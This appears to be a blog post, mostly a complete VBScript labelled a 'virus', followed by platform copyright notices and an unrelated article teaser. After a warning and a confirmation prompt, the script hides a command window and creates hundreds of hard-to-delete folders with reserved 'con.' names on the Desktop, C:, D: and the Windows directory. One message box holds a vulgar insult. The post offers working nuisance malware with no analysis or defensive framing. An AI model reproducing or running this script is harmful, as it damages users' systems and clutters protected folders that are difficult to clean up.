Set WshShell=Wscript.CreateObject("Wscript.Shell")
if WshShell is Nothing then
msgbox"我叼你妈的WSH都没了怎么耍???"
else
msgbox "警告:这是一个病毒" & chr(10) & chr(13) & "如果你没傻的话请结束这个进程"
if msgbox("确定启动病毒?",vbokcancel) = vbok then
msgbox("...")
dkp=WshShell.SpecialFolders("Desktop")
Set Fso = CreateObject("Scripting.FileSystemObject")
dim random
for i = 0 to 200
wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
wscript.sleep 5
next
dkp="C:"
for i = 0 to 200
wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
wscript.sleep 5
next
dkp="D:"
for i = 0 to 200
wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
wscript.sleep 5
next
dkp="C:\Windows"
for i = 0 to 200
wshshell.run "cmd /c md " & dkp & "\" & "con." & int(rnd()*100000) & "\",vbhide
wscript.sleep 5
next
else
msgbox("聪明人")
end if
end if
病毒
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
推荐阅读更多精彩内容
- 今天孩子的奶奶让回家吃烧烤,回去后听到这样一个事件。 孩子的大姑叫孩子的小姑婆一起去打麻将,结果小姑婆输了九百多,...